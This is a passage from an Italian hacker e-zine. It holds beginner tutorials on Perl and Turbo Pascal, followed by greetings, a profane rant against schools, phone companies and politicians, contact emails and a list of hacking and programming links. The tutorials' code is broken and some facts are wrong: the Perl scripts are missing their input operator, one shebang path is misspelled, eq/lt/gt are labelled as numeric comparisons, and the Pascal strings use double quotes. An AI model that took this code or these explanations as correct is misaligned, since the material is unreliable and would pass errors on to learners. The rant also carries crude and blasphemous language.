programma Gli array,come dovreste già sapere se avete esperienza nella programmazione,sono una sorta di "contenitori" di variabili,in questo caso variabili scalari.Gli scalari di un array vengono racchiusi tra le parentesi tonde e sono separati da virgole.Ecco un esempio di dichiarazione di array: @array ("ele1" , 3 , "ele3"); Gli elementi di un array sono numerati in modo crescente da 0 in poi;quindi il primo elemento di un array è l'elemento n° 0,il secondo il n° 1 e così via.Tenetene conto quando richiamerete un valore di un array. Nel momento in cui vogliamo richiamare un elemento di un array,dovremo necessariamente utilizzare una variabile scalare che abbia come valore l'array a cui puntiamo(preceduto però dal simbolo $,perchè un singolo valore dell'array è corrisponde a una variabile scalare),e all'interno delle parentesi quadre [ ] il numero dell'elemento da richiamare: $variabile1 = $array [ 0 ] ; oppure se vogliamo richiamare più elementi dell'array in questione,dobbiamo dichiarare un altro array che abbia come valore un array che contenga tra le [ ] i numeri corrispondenti agli elementi da prendere in considerazione: @array2 = @array [ 1, 2 ]; E ora gli array associativi.Un array associativo (d'ora in poi chiamato hash) è simile ad una array scalare,con l'unica differenza che il valore di ogni elemento viene indicato all'interno del "contenitore" dell' hash.Forse è meglio che faccia un esempio: %hash ( "ele1" , 2 , "ele2" , 3 ); | L_________ % è il simbolo che contraddistingue l'hash In questo caso l'elemento 1 (ele1) dell'hash ha valore 2 ,mentre l'elemento 2 (ele2) ha valore 3. Ma ora forse è meglio che iniziamo a fare qualcosa di concreto. Ad esempio,vogliamo scrivere uno script che visualizzi alcuni dati immessi dall'utente,come nome,cognome,età e professione.Innanzitutto dovremo utilizzare 4 diverse variabili,una per ogni elemento immesso dall'utente che vogliamo venga visualizzato.Poi dovremo dire all'interprete di attendere l'immissione di caratteri da parte dell'utente e stampare queste informazioni. E qui nascono due problemi: 1-Come facciamo a dire all'interprete di attendere i dati dell'utente? 2-Come facciamo a stampare dati sullo schermo? Alla prima domanda la risposta è la seguente:dobbiamo utilizzare un handler (file sempre aperto durante l'esecuzione del programma) standard che attende l'immissione di caratteri dalla tastiera.I tre handler fondamentali sono: - standard input - standard output - standard error Per il secondo problema invece,dovremo utilizzare il comando "print" (senza gli apici),seguito poi dal testo o la variabile da stampare racchiusi tra virgolette.Ad esempio: print "La variabile che vogliamo stampare è $var "; Per il comando print valgono gli stessi attributi per la formattazione del testo che si possono trovare in altri linguaggi (\n per mandare a capo ecc...). Bene,ora scriviamo il nostro primo script in Perl #!/usr/bin/perl print " Inserirele proprie generalità:\n"; print "Nome\n; $nome = ; print "Cognome:\n"; $cognome = ; print "Età:\n"; $età = ; print "Dati inseriti : $nome $cognome , di anni $età"; Potrebbe capitarvi,dopo aver lanciato l'interprete Perl,che lo script non funzioni.E' un problema legato ai permessi dei file,dato che il vostro file (ad esempio "prova.pl") potrebbe non avere permessi di esecuzione.Basta fare chmod 755 prova.pl per abilitare l'utente all'esecuzione dello script. Operatori --------- Gli operatori permettono di compiere operazioni tra gli elementi di un programma,come stringhe o array.Nel Perl esistono due tipi di operatori,operatori logici e operatori di confronto. Gli operatori logici permettono di verificare se un'istruzione è vera o falsa.In generale si dice che un'espressione è falsa quando ha come risultato 0 o risulta vuota.Gli peratori logici verranno usati in seguito nei costruti di scelta condizionata (if...else) o nei costrutti ciclici (while) per verificare se la condizione di esistenza del costrutto è verificata o meno. operatore logico simbolo condizione AND && La condizione è vera se tutti gli elementi sono veri (es. $a && $b) OR || La condizione è vera se almeno uno degli elementi è vero NOT ! Vera se l'elemento è falso (es. !$a) Un operatore di confronto sono di tre tipi:rivolti ai numeri,alle stringhe e ai nomi. operatore simbolo tipo uguale == generico maggiore > generico minore < generico maggiore uguale >= generico minore uguale <= generico diverso != generico uguaglianza eq numeri minore lt numeri minore uguale le numeri maggiore gt numeri maggiore uguale ge numeri diverso ne numeri leggibile -r stringhe (vero se la variabile $var è leggibile) scrivibile -w stringhe (vero se $var è scrivibile) directory -d stringhe (vero se $var è una directory) testo -T stringhe (vero se $var è un file di testo) esiste -e stringhe (vero se $var esiste) regolare -f stringhe (vero se $var è un file normale) Per capire meglio gli operatori di confronto,introduciamo ora il costrutto di scelta condizionata. La scelta condizionata if...else --------------------- Il costrutto di scelta condizionata è un primo elemento per il controllo del flusso dei dati. Eccolo in sintesi: if (condizione vera) { fai questo } else { fai quest'altro } In questo caso se la condizione che poniamo tra parentesi tonde ( ) risulta vera,viene eseguita l'istruzione racchiusa tra le graffe;altrimenti(else) viene eseguita l'istruzione successiva. In questo caso intervengono i nostri operatori di confronto.Facciamo un esempio: #!/ysr/bin/perl $a = 3; #pone una variabile con valore 3 print "Immettere un numero da 0 a 9\n"; $b = ; #attende l'immissione di un numero if ($a != $b) { #se $a è diverso da $b allora... print "Condizione verificata\n"; #...scrivi condizione verificata } else { #se la condizione non è verificata... print "condizione non verificata"; #scrivi che non si è verificata } Il bello del Perl è che ci possono essere diverse contrazioni dell'istruzione if,in modo da rendere il codice molto più sintetico e chiaro.Una delle prime forme di contrazione è l'eliminazione dell'istruzione else.In questo caso non è necessaria una risposta (stampare un messaggio sullo schermo,ecc...) nel caso una condizione non si sia verificata: if (condizione vera) { fai questo } Questa forma è tipica di molti linguaggi (C/C++,Java,ecc...).Oppure si può scrivere: istruzione if condizione es. print "ciao" if $a <= $b; Sempre se non si richiede una risposta in caso di condizione non verificata. Ok,per oggi può bastare.Prossimamente cercheremo di operare su file e di interfacciare un programma .pl con una pagina html (un primitivo CGI). |------------------------------------------------------------| |Art. N° <26> : "Programmare in Turbo Pascal 6" di Anfetamina| |------------------------------------------------------------| PROGRAMMARE IN TURBO PASCAL 6 by Anfetamina PErchè creare un'applicazione in Turbo PAscal(se applicazioni possiamo chiamare le nostre creaturine...)? Semplicemente perchè è un'ottima gavetta per un futuro programmatore:semplice e intuitivo,il TP permette di creare molti tipi di programma,dal più semplice(vedi 1+1),al più complesso(vedi trojan,basta sapere come si apre un socket...). LA programmazione in TP prevede tre parti distinte: -Dichiarazione delle funzioni -Dichiarazione delle variabili -Algoritmo Si parte scrivendo il nome del programma: Program Nomeprog; Ho messo "Nomeprog" perchè l'istruzione Program di TP non prevede la presenza di più di 8 caratteri e nessuno spazio.Dopo l'istruzione abbiamo messo un ";":questo permette la distinzione da parte del compilatore della fine di un'istruzione. Ora passiamo alla dichiarazione delle funzioni(moduli):per chi avesse già confidenza con altri linguaggi di programmazione(come il C),un modulo del TP è quasi il corrispondente di una libreria(es del C). Prenderemo in considerazione solo 2 funzioni,che useremo per realizzare il nostro primo programma:il video(CRT) e la stampante(PRINTER).Per dichiarare una funzione useremo: USES funzione; quindi: Program Prova; USES CRT; Ora passiamo alle variabili:una variabile si dichiara scrivendo: var nomevariabile : tipo; "nomevariabile" corrisponde al nome che assegneremo alla nostra variabile,mentre "tipo" è il tipo della variabile,che può essere: -STRING : se la variabile contiene una stringa; -CHAR : se la variabile contiene un carattere; -INTEGER: se la variabile è numerica e corrisponde ad un numero intero; -REAL:se la variabile corrisponde ad un numero reale; Ora dichiaramo una variabile per il nostro programma.Una vaiabile deve sempre essere dichiarata prima del corpo del programma,altrimenti non verrà considerata: Program Prova; USES CRT; var risp : string; E ora il corpo del programma.Al suo interno andranno tutte le istruzioni che comporranno il programma(algoritmo).Il corpo è identificato da due istruzioni: begin corpo del programma end. L'istruzione "begin" non deve essere chiusa da ";",mentre l'istruzione "end" deve terminare con un punto( end.).Ed ecco di nuovo il nostro programma: Program Prova; USES CRT; var risp : string; begin end. Ora vofliamo che il nostro programma legga il contenuto della variabile(deciso da noi) e lo stampi a video.Per fare ciò dovremo utilizzare due istruzioni: "writeln" e "readln".Rispettivamente la prima stampa a video sullo schermo(e manda a capo),mentre la seconda blocca l'esecuzione di un programma in attesa di un input dell'utente.Queste due istr hanno la seguente sintassi: -writeln("testo",var); dove "testo" è il testo che s vuole stampare,mentre var e un'eventuale variabile che si può stampare a video -readln(var) ; var è il nome della variabile che deve memorizzare l'input dell'utente Ma torniamo per l'ultima volta al nostro programma:vogliamo che chieda l'immissione da parte dell'utente del proprio nome e lo saluti stampandone il nome.Ecco qua: Program Prova; USES CRT; var risp : string; begin writeln("Come ti chiami?"); readln(risp); writeln("Buongiorno",risp); end. Tutto qui! Spero di essere stato chiaro,nelle prossime puntate cercheremo di creare qualcosa di più impegnativo. Ciao a tutti written by Anfetamina ############################################################################ 01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101 0«101@01·01`01010@101*01|-----------------------------|1ð01¶01<01010\10101£0 010æ10@10Æ1ß01%01010&10ß| SALUTI & RINGRAZIAMENTI |0%101ð0101|010:10&101 01*010&101µ01þ010@10101½|-----------------------------|0°1010¢1010@1010"1010 01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01 ############################################################################ Beh, questi non potevano davvero mancare... O no? ;) Elektro e tutto il suo corpo telematico saluta: Allora qui trovate tutti i saluti, ringraziamenti e company ai miei amici smanettoni! Ovviamente, rigorosamente in ordine alfabetico... ;) Tutti quelli di #hacknitro, #hack, #smanettoni, #hackmaniaci, #hackarena e anche i pazzi di #drogati che dovrebbero joinare più spesso, tutte le persone che conosco e tutti quelli che hanno scritto in quest'ezine (in ordine alfabetico ;-)): ¶HeLLz¥AnGÆL°¹® , ANFETAMINA, BARTX, BIGALEX, BLACK-CAP, BBOYICE, D3FU, DELILAH, DOMINUS, E4M, ERMAK, HOLYHACK, _KOME_, KORVIN, MARSIO, MEPHISTO, M3XICAN, N'eMSy, RAPTOR_, RISK, SILDON2K, SNHYPER, THE VAMPIRE, X3L4, XANTHIC, XPTERMINATOR Un saluto particolare lo devo mandare anche a tutta la Error404 Crew e ai suoi membri, di cui da poco ne faccio parte: Mephisto, Bigalex, Eakon, Cyberdude, X3L4, Quasar, Bredok, Boss, ^Angel^, Neo81, Netskater, Ciauz, Marsio e ^_][ice][man][_^. Infine una slinguazzata e un saluto a quella grandissima gnocca che tanto so che non mi farò mai :-( di nome Megan Gale!! [mi ricorderò sempre di te... A proposito della tua domanda nella pubblicità... I am well but I would be better with you to my side ;-))] Poi la lista sarebbe ancora moooolto lunga ma evito di scrivere qui tutti i nomi delle gnoccone che esistono a sto' mondo, altrimenti non sarebbe più un'ezine seria... Ma lo è?! ;) Uhmm... Se ho dimenticato qualcuno, mi raccomando non offendetevi! Mica sono.. che ne so.. Dopotutto sono umano anch'io! ############################################################################ 01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101 0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0 010æ10@10Æ1ß01%01010&10ß| F U C K |10%101ð0101|010:10&101 01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010 01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01 ############################################################################ Rieccoci a questa, forse inutile, parte della ezine. Anche stavolta saranno citati nomi di tutte quelle persone che mi stanno più sui coglioni... Anzi, diciamo semplicemente che ho fatto qualche aggiunta... ;) Fuck......[Loading]......ammazza ma quanto è lunga?!? ihihihihih - Alla sQuola (immancabile...) e a tutte le istituzioni scolastiche ;) - Alla GDF: ma quanto rompete le palle... - Alla Telecoz (un saluto speciale a te lo dovevo fare... ;)): sei la stronza che fa pagare care le bollette! Porcodio... Io voglio andare su Internet, ma non ci voglio andare con il contascatti in mano... ihihihih Scherzo raga! - A tutte le altre compagnie telefoniche... Infostrada, Wind, Omnitel, Blu e tutte quelle che ho dimenticato... - Allo Stato. - Ai politici: per tutte le cazzate che ci dite e che ci promettete e poi fate sempre come cazzo vi pare e vi fa comodo... Ma un giorno la gente si risveglierà e capirà che il nostro Stato è governato da una banda di cretini e allora, forse, scoppierà una Rivoluzione... O almeno lo spero, perchè sono proprio stanco di vedere i vostri brutti musi alla TV mentre sparate le vostre puttanate di turno... Va beh, lasciamo perdere che è meglio... - Tutti quelli che dicono che SOLO la Tim è ladra... Non ho parole ragazzi... E l'Omnitel forse no? Io ho Omni e pago 1 sms ben 250 £ mentre in molte altre nazioni d'Europa gli sms si pagano pochissimo o sono TOTALMENTE GRATIS... Tutte le compagnie sono ladre.. Che cazzo andate a dire solo la Tim... Ma vaffanculo va... [okkey mi sono calmato...] - Tutti quelli che mi rompono i coglioni. - Tutti quelli che non credono in me e nelle mie capacità. - I lamer: imparate qualcosa invece di rompere i coglioni alla gente. ############################################################################ 01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101 0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0 010æ10@10Æ1ß01%01010&10ß| D O V E T R O V A R C I |10%101ð0101|010:10&101 01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010 01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01 ############################################################################ Potete fare 4 chiacchiere con noi inviandoci semplicemente una mail: Elektro : teo1987@libero.it Marvin : mh@altavista.it Elektro lo potete trovare anche su IRC, su Azzurra: Server Porta irc.azzurranet.org 6667 Chan: #hacknitro #hack #smanettoni #hackmaniaci #hackarena E assieme a me qui su Azzurra troverete i miei amici, anche qualcuno che ha scritto qui su questa e-zine. NB = Okkio che purtroppo non ci sono tutte le sere in chat (eheh ho anch'io una mia vita sociale e i miei impegni nonostante le parecchie ore sul PC ;DD). ############################################################################ 01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101 0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0 010æ10@10Æ1ß01%01010&10ß| INVIARCI UN ARTICOLO |10%101ð0101|010:10&101 01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010 01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01 ############################################################################ Come inviare un vostro articolo alla Redazione? Semplice, scrivete alla mail x-system@email.it, mettendo in allegato il vostro testo. Se io e Marvin lo giudicheremo un buon testo, lo pubblicheremo qui nell'e-zine. Comunque in ogni caso vi risponderemo per mail. ;)) Tutto chiaro? Si..... ############################################################################ 01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101 0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0 010æ10@10Æ1ß01%01010&10ß| LINKS |10%101ð0101|010:10&101 01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010 01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01 ############################################################################ Links... Sono più o meno gli stessi che erano presenti nell'uscita precedente dell'ezine, con qualche aggiunta... Per la prox uscita spero di aggiungerne molti altri. Sappiate però che volutamente abbiamo cercato di evitare siti molto famosi (tranne alcuni) e di pubblicizzare un po' di più i siti dei vecchi amici ;) : ....Underground Site.... -http://www.x-system.cjb.net Il sito ufficiale della nostra e-zine -http://members.xoom.it/lelolo Il sito ufficiale di Marvin -http://www.error404crew.cjb.net Questo è da visitare! Per tre motivi: 1) è il sito della crew di cui faccio parte. ;D 2) è interessante. 3) dovete ripagare il lavoro a tutti quelli che hanno lavorato come pazzi a quel sito per farlo tornare completamente online nel giro di poco tempo... ;-) E complimenti a X3l4, che ha fatto un ottimo lavoro... -http://www.bismark.it Non credo ci sia bisogno di spiegazioni... -http://www.packetstormsecurity.com Exploit, patch, security, sito da visitare ogni giorno ;-) -http://napolihak.da.ru Sito che tratta di hacking,phreaking,linux,con una sezione abbastanza fornita di manuali in italiano,traduzioni o in lingua originale -http://www.quequero.cjb.net Sito ufficiale di Quequero -http://www.ilfronte.net Buon sito,con un forum sempre più in crescendo,e che ospita nientepopodimeno che Mimmuz e l'ormai latitante MrWolf(scherzo!) -http://www.raulken.it Neanche in questo caso non credo ci sia bisogno di spiegazioni... -http://www.feelinglinux.com http://www.valtellinux.com http://www.RedHat.it -http://www.spippolatori.com Finalmente ha riaperto... -http://members.xoom.it/_XOOM/e4zy/nuovo/main.htm L'Hacking Time di E4zy ;) Davvero un buon sito, peccato che (se non ricordo male) non viene aggiornato da molto... -http://digilander.iol.it/kaos Altro buon sito di Hack. Visitatelo ;) -http://www.forum-informatico.it Finalmente BiGA si è deciso a comprare il dominio... ihihih Scherzo... Comunque bel lavoro quello tuo e di X3l4! Bravi! ;) -http://www.bartx.cjb.net Il sito di Bartx, ricco di materiale molto interessante... -http://digilander.iol.it/Delilahh Il sito di Delilah, ben fatto e aggiornato. Brava Dely! -http://www.programmazione.it Tutto e di + sulla programmazione! -http://www.html.it Un sito che dovrebbe interessare tutti i webmaster! Eccoli tutti qui... Spero di averli scritti tutti giusti ;) e di non avermi dimenticato di qualche amico che poi mi spenna ;DD Se volete segnalare il vostro sito, mandate tutto a x-system@email.it e magari troverete il vostro sito nella prox uscita dell'ezine. ;-) ############################################################################ 01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101 0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0 010æ10@10Æ1ß01%01010&10ß| T H E E N D |10%101ð0101|010:10&101 01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010 01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01 ############################################################################ Ecco conclusa anche la seconda uscita, cioè il numero 1, della X-Sys Ezine! ;) Come al solito, saluto tutti voi lettori e un Arrivederci al prossimo numero che uscirà all'incirca a metà maggio (wow... sarà quasi finita la scuola in quei giorni... ;))! Ah, vi ricordo che sono graditi i vostri testi, in caso abbiate scritto qualcosa di interessante e volete pubblicare qui nell'ezine i vostri byte di Conoscenza. ;) Ciao! Elektro (www.x-system.cjb.net teo1987@libero.it) Marvin (www.marvinhack.3000.it mh@altavista.it) X-Sys Ezine (www.x-system.cjb.net x-system@email.it)